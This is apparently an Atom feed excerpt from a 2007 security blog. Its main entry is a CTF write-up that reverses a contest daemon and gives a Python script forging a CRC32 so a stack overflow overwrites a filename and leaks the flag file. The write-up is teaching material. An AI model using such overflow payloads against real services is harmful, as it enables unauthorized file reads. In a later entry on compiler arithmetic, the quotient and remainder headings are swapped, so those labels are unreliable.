
      <atom:title>Exploiting HITB 2007 KL CTF Daemon 01</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/09/11/hitb07kl-ctf-daemon01">
        http://plone.org/
      </atom:link>

      <atom:id>775fea49486c8e7370d5037c1ee0d7f5</atom:id>
      <atom:summary>Daemon 01 in the HITBSecConf 2007 Kuala Lumpur's Capture the Flag competition is a classical buffer overflow with a CRC32 check. Exploiting can be easily done by matching this CRC value.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;h2&gt;Identifying the main function&lt;/h2&gt;

&lt;p&gt;IDA will land us right here when it finishes analysis.&lt;/p&gt;

&lt;pre&gt;.text:08048830                 public start&lt;br&gt;.text:08048830 start           proc near&lt;br&gt;.text:08048830                 &lt;b&gt;xor&lt;/b&gt;     ebp, ebp
.text:08048832                 &lt;b&gt;pop&lt;/b&gt;     esi
.text:08048833                 &lt;b&gt;mov&lt;/b&gt;     ecx, esp
.text:08048835                 &lt;b&gt;and&lt;/b&gt;     esp, 0FFFFFFF0h
.text:08048838                 &lt;b&gt;push&lt;/b&gt;    eax
.text:08048839                 &lt;b&gt;push&lt;/b&gt;    esp
.text:0804883A                 &lt;b&gt;push&lt;/b&gt;    edx
.text:0804883B                 &lt;b&gt;push&lt;/b&gt;    offset sub_804C700&lt;br&gt;.text:08048840                 &lt;b&gt;push&lt;/b&gt;    offset sub_804C6A0&lt;br&gt;.text:08048845                 &lt;b&gt;push&lt;/b&gt;    ecx
.text:08048846                 &lt;b&gt;push&lt;/b&gt;    esi
.text:08048847                 &lt;b&gt;push&lt;/b&gt;    offset main&lt;br&gt;.text:0804884C                 &lt;b&gt;call&lt;/b&gt;    ___libc_start_main&lt;br&gt;&lt;/pre&gt;

&lt;p&gt;Notice at &lt;code&gt;08048847&lt;/code&gt;, I have renamed the function as &lt;code&gt;main&lt;/code&gt;.

&lt;/p&gt;&lt;h2&gt;Analyzing &lt;code&gt;main&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;Let's get to &lt;code&gt;main&lt;/code&gt; now. The function starts with:&lt;/p&gt;

&lt;pre&gt;.text:08048AA1 main            proc near               ; DATA XREF: start+17↑o
.text:08048AA1
.text:08048AA1 first_arg       = dword ptr -2F8h
.text:08048AA1 second_arg      = dword ptr -2F4h
.text:08048AA1 third_arg       = dword ptr -2F0h
.text:08048AA1 var_2EC         = dword ptr -2ECh
.text:08048AA1 var_2E8         = dword ptr -2E8h
.text:08048AA1 var_260         = dword ptr -260h
.text:08048AA1 num_read        = dword ptr -25Ch
.text:08048AA1 input_buffer    = dword ptr -258h
.text:08048AA1 var_4C          = dword ptr -4Ch
.text:08048AA1 filename        = dword ptr -48h
.text:08048AA1
.text:08048AA1                 &lt;b&gt;push&lt;/b&gt;    ebp
.text:08048AA2                 &lt;b&gt;mov&lt;/b&gt;     ebp, esp
.text:08048AA4                 &lt;b&gt;sub&lt;/b&gt;     esp, 2F8h       ; fildes
.text:08048AAA                 &lt;b&gt;and&lt;/b&gt;     esp, 0FFFFFFF0h
.text:08048AAD                 &lt;b&gt;mov&lt;/b&gt;     eax, 0
.text:08048AB2                 &lt;b&gt;add&lt;/b&gt;     eax, 0Fh
.text:08048AB5                 &lt;b&gt;add&lt;/b&gt;     eax, 0Fh
.text:08048AB8                 &lt;b&gt;shr&lt;/b&gt;     eax, 4
.text:08048ABB                 &lt;b&gt;shl&lt;/b&gt;     eax, 4
.text:08048ABE                 &lt;b&gt;sub&lt;/b&gt;     esp, eax
.text:08048AC0                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], offset static_buffer&lt;br&gt;.text:08048AC7                 &lt;b&gt;call&lt;/b&gt;    sub_80489E2&lt;br&gt;.text:08048ACC                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+third_arg], 200h
.text:08048AD4                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], 0
.text:08048ADC                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+input_buffer]&lt;br&gt;.text:08048AE2                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], eax
.text:08048AE5                 &lt;b&gt;call&lt;/b&gt;    _memset&lt;br&gt;.text:08048AEA                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+third_arg], 40h
.text:08048AF2                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], 0
.text:08048AFA                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+filename]&lt;br&gt;.text:08048AFD                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], eax
.text:08048B00                 &lt;b&gt;call&lt;/b&gt;    _memset&lt;br&gt;.text:08048B05                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps"
.text:08048B0D                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+filename]&lt;br&gt;.text:08048B10                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], eax
.text:08048B13                 &lt;b&gt;call&lt;/b&gt;    _strcpy&lt;br&gt;.text:08048B18                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+third_arg], 400h
.text:08048B20                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+input_buffer]&lt;br&gt;.text:08048B26                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], eax
.text:08048B2A                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], 0
.text:08048B31                 &lt;b&gt;call&lt;/b&gt;    _read&lt;br&gt;.text:08048B36                 &lt;b&gt;mov&lt;/b&gt;     [ebp+num_read], eax
.text:08048B3C                 &lt;b&gt;cmp&lt;/b&gt;     [ebp+num_read], 0FFFFFFFFh
.text:08048B43                 &lt;b&gt;jnz&lt;/b&gt;     short loc_8048B5D&lt;br&gt;.text:08048B45                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], offset aRead ; "read"
.text:08048B4C                 &lt;b&gt;call&lt;/b&gt;    _perror&lt;br&gt;.text:08048B51                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], 1
.text:08048B58                 &lt;b&gt;call&lt;/b&gt;    _exit&lt;br&gt;&lt;/pre&gt;

&lt;p&gt;Well, you may have noticed that the names are not what you have in your IDA listing. These names are &lt;em&gt;my&lt;/em&gt; names given to those identifiers after analyzing the function. So let's see how we could arrive to the same naming.&lt;/p&gt;

&lt;p&gt;First, there is a call to &lt;code&gt;sub_80489E2&lt;/code&gt; and a &lt;code&gt;static_buffer&lt;/code&gt; is passed to it. You will be right to guess this is some kind of initialization routine. Why &lt;code&gt;static_buffer&lt;/code&gt;? Because it is &lt;code&gt;static&lt;/code&gt; (located in .bss segment) and it is a buffer.&lt;/p&gt;

&lt;p&gt;Next to it, some sort of buffer is reset to 0 with memset (0x200 bytes). Notice GCC uses &lt;code&gt;mov&lt;/code&gt; instead of &lt;code&gt;push&lt;/code&gt; to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a &lt;code&gt;mov&lt;/code&gt; to the lowest slot is equivalent to the last &lt;code&gt;push&lt;/code&gt;, or in other words, the first argument. And therefore I named the lowest slot &lt;code&gt;first_arg&lt;/code&gt;, followed (logically) by &lt;code&gt;second_arg&lt;/code&gt; and so on.&lt;/p&gt;

&lt;p&gt;We see another buffer being reset to 0 (0x40 bytes). Then right after that, &lt;code&gt;/proc/self/maps&lt;/code&gt; is &lt;code&gt;strcpy&lt;/code&gt;'d to that buffer. Well, let's not waste anytime and mark it &lt;code&gt;filename&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;With one buffer marked, we still have one left. Luckily, the next call to &lt;code&gt;read&lt;/code&gt; tells us that the remaining buffer should be named &lt;code&gt;input_buffer&lt;/code&gt;. Right?&lt;/p&gt;

&lt;p&gt;But, hey, wait, the &lt;code&gt;read&lt;/code&gt; was for 0x400 bytes while &lt;code&gt;input_buffer&lt;/code&gt; is only (0x258 - 0x4C) byte long. That is, if you fill &lt;code&gt;input_buffer&lt;/code&gt; with (0x258 - 0x4C) bytes you will hit &lt;code&gt;var_4C&lt;/code&gt;, and if you fill 4 bytes more than that, you will hit the beginning of &lt;code&gt;filename&lt;/code&gt;. How wonderful! It gives you control over &lt;code&gt;filename&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's move on.&lt;/p&gt;

&lt;pre&gt;.text:08048B5D loc_8048B5D:                            ; CODE XREF: main+A2↑j
.text:08048B5D                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt"
.text:08048B65                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+num_read]&lt;br&gt;.text:08048B6B                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], eax
.text:08048B6F                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+input_buffer]&lt;br&gt;.text:08048B75                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], eax
.text:08048B78                 &lt;b&gt;call&lt;/b&gt;    is_from_server&lt;br&gt;.text:08048B7D                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+third_arg], offset static_buffer&lt;br&gt;.text:08048B85                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+num_read]&lt;br&gt;.text:08048B8B                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], eax
.text:08048B8F                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+input_buffer]&lt;br&gt;.text:08048B95                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], eax
.text:08048B98                 &lt;b&gt;call&lt;/b&gt;    CRC32&lt;br&gt;.text:08048B9D                 &lt;b&gt;mov&lt;/b&gt;     [ebp+var_4C], eax
.text:08048BA0                 &lt;b&gt;cmp&lt;/b&gt;     [ebp+var_4C], 0FEEDAFEDh
.text:08048BA7                 &lt;b&gt;jnz&lt;/b&gt;     short loc_8048C25&lt;br&gt;.text:08048BA9                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+second_arg], offset aR ; "r"
.text:08048BB1                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+filename]&lt;br&gt;.text:08048BB4                 &lt;b&gt;mov&lt;/b&gt;     [esp+2F8h+first_arg], eax
.text:08048BB7                 &lt;b&gt;call&lt;/b&gt;    _fopen&lt;br&gt;.text:08048BBC                 &lt;b&gt;mov&lt;/b&gt;     [ebp+var_260], eax
.text:08048BC2                 &lt;b&gt;cmp&lt;/b&gt;     [ebp+var_260], 0
.text:08048BC9                 &lt;b&gt;jz&lt;/b&gt;      short loc_8048C25&lt;br&gt;&lt;/pre&gt;

&lt;p&gt;Please just take it for granted that at &lt;code&gt;08048B78&lt;/code&gt; is a call to process score server packets. So let's skip it over and analyze the next call.&lt;/p&gt;

&lt;pre&gt;.text:08048A4C CRC32           proc near               ; CODE XREF: main+F7↓p
.text:08048A4C
.text:08048A4C var_8           = dword ptr -8
.text:08048A4C var_4           = dword ptr -4
.text:08048A4C arg_0           = dword ptr  8
.text:08048A4C arg_4           = dword ptr  0Ch
.text:08048A4C arg_8           = dword ptr  10h
.text:08048A4C
.text:08048A4C                 &lt;b&gt;push&lt;/b&gt;    ebp
.text:08048A4D                 &lt;b&gt;mov&lt;/b&gt;     ebp, esp
.text:08048A4F                 &lt;b&gt;sub&lt;/b&gt;     esp, 8
.text:08048A52                 &lt;b&gt;mov&lt;/b&gt;     [ebp+var_8], 0FFFFFFFFh
.text:08048A59                 &lt;b&gt;mov&lt;/b&gt;     [ebp+var_4], 0
.text:08048A60
.text:08048A60 loc_8048A60:                            ; CODE XREF: CRC32+4C↓j
.text:08048A60                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+var_4]&lt;br&gt;.text:08048A63                 &lt;b&gt;cmp&lt;/b&gt;     eax, [ebp+arg_4]&lt;br&gt;.text:08048A66                 &lt;b&gt;jge&lt;/b&gt;     short loc_8048A9A&lt;br&gt;.text:08048A68                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+var_8]&lt;br&gt;.text:08048A6B                 &lt;b&gt;mov&lt;/b&gt;     ecx, eax
.text:08048A6D                 &lt;b&gt;shr&lt;/b&gt;     ecx, 8
.text:08048A70                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+var_4]&lt;br&gt;.text:08048A73                 &lt;b&gt;add&lt;/b&gt;     eax, [ebp+arg_0]&lt;br&gt;.text:08048A76                 &lt;b&gt;movzx&lt;/b&gt;   eax, byte ptr [eax]&lt;br&gt;.text:08048A79                 &lt;b&gt;xor&lt;/b&gt;     eax, [ebp+var_8]&lt;br&gt;.text:08048A7C                 &lt;b&gt;and&lt;/b&gt;     eax, 0FFh
.text:08048A81                 &lt;b&gt;lea&lt;/b&gt;     edx, ds:0[eax*4]&lt;br&gt;.text:08048A88                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+arg_8]&lt;br&gt;.text:08048A8B                 &lt;b&gt;mov&lt;/b&gt;     eax, [edx+eax]&lt;br&gt;.text:08048A8E                 &lt;b&gt;xor&lt;/b&gt;     eax, ecx
.text:08048A90                 &lt;b&gt;mov&lt;/b&gt;     [ebp+var_8], eax
.text:08048A93                 &lt;b&gt;lea&lt;/b&gt;     eax, [ebp+var_4]&lt;br&gt;.text:08048A96                 &lt;b&gt;inc&lt;/b&gt;     dword ptr [eax]&lt;br&gt;.text:08048A98                 &lt;b&gt;jmp&lt;/b&gt;     short loc_8048A60&lt;br&gt;.text:08048A9A ; ---------------------------------------------------------------------------
.text:08048A9A
.text:08048A9A loc_8048A9A:                            ; CODE XREF: CRC32+1A↑j
.text:08048A9A                 &lt;b&gt;mov&lt;/b&gt;     eax, [ebp+var_8]&lt;br&gt;.text:08048A9D                 &lt;b&gt;not&lt;/b&gt;     eax
.text:08048A9F                 &lt;b&gt;leave&lt;/b&gt;
.text:08048AA0                 &lt;b&gt;retn&lt;/b&gt;
.text:08048AA0 CRC32           endp
&lt;/pre&gt;

&lt;p&gt;If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the &lt;code&gt;0xFFFFFFFF&lt;/code&gt; initial value, the "take each character, xor it, and logical and it with &lt;code&gt;0xFF&lt;/code&gt;" (&lt;code&gt;movzx&lt;/code&gt;, &lt;code&gt;xor&lt;/code&gt; and &lt;code&gt;and&lt;/code&gt; starting from &lt;code&gt;08048A76&lt;/code&gt;, and the negation at &lt;code&gt;08048A9D&lt;/code&gt;.&lt;/p&gt; And you'll be tempting to rename &lt;code&gt;static_buffer&lt;/code&gt; to &lt;code&gt;crc32_table&lt;/code&gt;. But that's beside the point.

&lt;p&gt;Now we go back to the &lt;code&gt;main&lt;/code&gt; function. After taking CRC32 value of the whole read &lt;code&gt;input_buffer&lt;/code&gt;, the value is compared with &lt;code&gt;0xFEEDAFED&lt;/code&gt;. If it is equal, then the &lt;code&gt;filename&lt;/code&gt; is open, read and written out.&lt;/p&gt;

&lt;h2&gt;Exploit it&lt;/h2&gt;

&lt;p&gt;Let's gather what we've got. First we are able to overflow the &lt;code&gt;filename&lt;/code&gt; buffer. Second, if the CRC value matches &lt;code&gt;0xFEEDAFED&lt;/code&gt;, the file identified by &lt;code&gt;filename&lt;/code&gt; will be opened, read, and written out to &lt;code&gt;stdout&lt;/code&gt;. And there lies our only challenge, to construct a buffer with CRC32 value matching &lt;code&gt;0xFEEDAFED&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;import zlib&lt;br&gt;buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txt\x00"&lt;br&gt;&lt;br&gt;&lt;b&gt;def&lt;/b&gt; fix_crc(buffer, target_crc):&lt;br&gt;  buffer_crc = zlib.crc32(buffer)&lt;br&gt;  charset = [chr(x) &lt;b&gt;for&lt;/b&gt; x &lt;b&gt;in&lt;/b&gt; range(256)]&lt;br&gt;  fix = ['a'] * 4&lt;br&gt;  crc = [0] * 4&lt;br&gt;  &lt;b&gt;for&lt;/b&gt; fix[0] &lt;b&gt;in&lt;/b&gt; charset:&lt;br&gt;    crc[0] = zlib.crc32(fix[0], buffer_crc)&lt;br&gt;    &lt;b&gt;for&lt;/b&gt; fix[1] &lt;b&gt;in&lt;/b&gt; charset:&lt;br&gt;      crc[1] = zlib.crc32(fix[1], crc[0])&lt;br&gt;      &lt;b&gt;for&lt;/b&gt; fix[2] &lt;b&gt;in&lt;/b&gt; charset:&lt;br&gt;        crc[2] = zlib.crc32(fix[2], crc[1])&lt;br&gt;        &lt;b&gt;for&lt;/b&gt; fix[3] &lt;b&gt;in&lt;/b&gt; charset:&lt;br&gt;          crc[3] = zlib.crc32(fix[3], crc[2])&lt;br&gt;          &lt;b&gt;if&lt;/b&gt; (crc[3] &amp;amp; 0xFFFFFFFF) == target_crc:&lt;br&gt;            &lt;b&gt;return&lt;/b&gt; ''.join(fix)&lt;br&gt;&lt;br&gt;buffer = buffer + fix_crc(buffer, 0xFEEDAFED)&lt;br&gt;&lt;/pre&gt;

&lt;p&gt;Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by &lt;a href="http://www.woodmann.com/fravia/crctut1.htm"&gt;anarchriz&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Observation&lt;/h2&gt;

&lt;p&gt;This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard &lt;code&gt;0xFFFFFFFF&lt;/code&gt; and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.&lt;/p&gt;

&lt;p&gt;&lt;br&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-09-11T05:14:02+00:00</atom:published>

      <atom:updated>2007-09-15T13:03:26+00:00</atom:updated>

      
        <atom:category term="Reverse Engineering"/>
      
      
        <atom:category term="Capture The Flag"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>HITB 2007 Flag Captured</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/09/07/2007-flag-captured">
        http://plone.org/
      </atom:link>

      <atom:id>e38d915096ceda3d9f188220759b0c81</atom:id>
      <atom:summary>Team Sao Vang captured the flag at HITB 2007</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          I'm washed, totally, so I'm just putting up a few words to say that team Sao Vang captured the flag in this year &lt;a href="http://conference.hackinthebox.org/hitbsecconf2007kl/"&gt;HITB&lt;/a&gt;. I'm sure skz0, the team's leader, will post a &lt;a href="http://longld.blogspot.com/2007/09/hitbsecconf2007-kuala-lumpur-capture.html"&gt;longer blog&lt;/a&gt; entry detailing this experience. Congrats to the team, once again.
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-09-07T02:54:07+00:00</atom:published>

      <atom:updated>2007-09-11T02:46:04+00:00</atom:updated>

      
        <atom:category term="Capture The Flag"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Interesting Arithmetic Assembly Sequences</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/05/29/interesting-arithmetic-assembly-sequences">
        http://plone.org/
      </atom:link>

      <atom:id>f4a5c68a8b5a0fb7aad9a6dacc5c8bc0</atom:id>
      <atom:summary>Microsoft Visual C Compiler generates some interesting assembly instructions for common operations such as multiplication with, taking remainder and quotient by constants, especially powers of 2.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;All examples below use signed integers.&lt;/p&gt;
&lt;div class="section" id="multiplication-with-a-power-of-2"&gt;
&lt;h3&gt;&lt;a name="multiplication-with-a-power-of-2"&gt;Multiplication with a power of 2&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We all know &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;shl&lt;/span&gt;&lt;/tt&gt; is normally used to multiply a number with a power of 2. This sequence uses &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;lea&lt;/span&gt;&lt;/tt&gt; instruction instead.&lt;/p&gt;
&lt;div class="section" id="the-asm-code"&gt;
&lt;h4&gt;&lt;a name="the-asm-code"&gt;The ASM code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
mov   eax, DWORD PTR _a$[esp+52]  ; eax takes value of a
lea   ecx, DWORD PTR [eax*8]      ; ecx takes value of a * 8
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="the-c-code"&gt;
&lt;h4&gt;&lt;a name="the-c-code"&gt;The C code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
a * 8;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="multiplication-with-a-constant"&gt;
&lt;h3&gt;&lt;a name="multiplication-with-a-constant"&gt;Multiplication with a constant&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The compiler will try to fit the multiplication with &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;lea&lt;/span&gt;&lt;/tt&gt; and &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;add&lt;/span&gt;&lt;/tt&gt; instructions.&lt;/p&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;&lt;a name="id1"&gt;The ASM code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
mov   eax, DWORD PTR _a$[esp+28]  ; eax takes value of a
lea   ecx, DWORD PTR [eax+eax*2]  ; ecx = eax * 3
add   ecx, ecx                    ; ecx = ecx * 2 (or, eax * 6)
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;&lt;a name="id2"&gt;The C code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
a * 6;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="taking-quotient-of-a-division-by-a-power-of-2"&gt;
&lt;h3&gt;&lt;a name="taking-quotient-of-a-division-by-a-power-of-2"&gt;Taking quotient of a division by a power of 2&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This sequence is interesting because there is a conditional jump &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;jns&lt;/span&gt;&lt;/tt&gt; instruction.&lt;/p&gt;
&lt;div class="section" id="id3"&gt;
&lt;h4&gt;&lt;a name="id3"&gt;The ASM code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
mov   edx, DWORD PTR _a$[esp+36]
and   edx, -2147483641                        ; 80000007H
jns   SHORT $LN3&amp;#64;main
dec   edx
or    edx, -8                                 ; fffffff8H
inc   edx
$LN3&amp;#64;main:
; here edx takes the value of the quotient
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="id4"&gt;
&lt;h4&gt;&lt;a name="id4"&gt;The C code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
a % 8;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="taking-remainder-of-a-division-by-a-power-of-2"&gt;
&lt;h3&gt;&lt;a name="taking-remainder-of-a-division-by-a-power-of-2"&gt;Taking remainder of a division by a power of 2&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;There is only one shift instruction &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;sar&lt;/span&gt;&lt;/tt&gt; in this sequence.&lt;/p&gt;
&lt;div class="section" id="id5"&gt;
&lt;h4&gt;&lt;a name="id5"&gt;The ASM code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
mov   eax, DWORD PTR _a$[esp+44]
cdq
and   edx, 7
add   eax, edx
sar   eax, 3
; here eax takes the value of the remainder
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="id6"&gt;
&lt;h4&gt;&lt;a name="id6"&gt;The C code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
a / 8;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="taking-remainder-of-a-division-by-a-constant"&gt;
&lt;h3&gt;&lt;a name="taking-remainder-of-a-division-by-a-constant"&gt;Taking remainder of a division by a constant&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Notice that &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;2aaaaaabH&lt;/span&gt;&lt;/tt&gt; is 2^32 / 6.&lt;/p&gt;
&lt;div class="section" id="id7"&gt;
&lt;h4&gt;&lt;a name="id7"&gt;The ASM code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
mov   ecx, DWORD PTR _c$[esp+20]
mov   eax, 715827883                          ; 2aaaaaabH
imul  ecx
mov   eax, edx
shr   eax, 31                                 ; 0000001fH
add   eax, edx
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="id8"&gt;
&lt;h4&gt;&lt;a name="id8"&gt;The C code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
c / 6
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="taking-quotient-of-a-division-by-a-constant"&gt;
&lt;h3&gt;&lt;a name="taking-quotient-of-a-division-by-a-constant"&gt;Taking quotient of a division by a constant&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;First, take the remainder. Then substract the original value with the multiplication of remainder and constant.&lt;/p&gt;
&lt;div class="section" id="id9"&gt;
&lt;h4&gt;&lt;a name="id9"&gt;The ASM code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
mov   ecx, DWORD PTR _c$[esp+12]
mov   eax, 715827883                          ; 2aaaaaabH
imul  ecx
mov   eax, edx
shr   eax, 31                                 ; 0000001fH
add   eax, edx
lea   edx, DWORD PTR [eax+eax*2]
add   edx, edx
sub   ecx, edx
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="id10"&gt;
&lt;h4&gt;&lt;a name="id10"&gt;The C code&lt;/a&gt;&lt;/h4&gt;
&lt;pre class="literal-block"&gt;
c % 6
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-05-29T04:11:57+00:00</atom:published>

      <atom:updated>2007-07-10T08:29:18+00:00</atom:updated>

      
        <atom:category term="Reverse Engineering"/>
      
      
        <atom:category term="Reverse Engineering"/>
      

    </atom:entry>

  

</atom:feed>
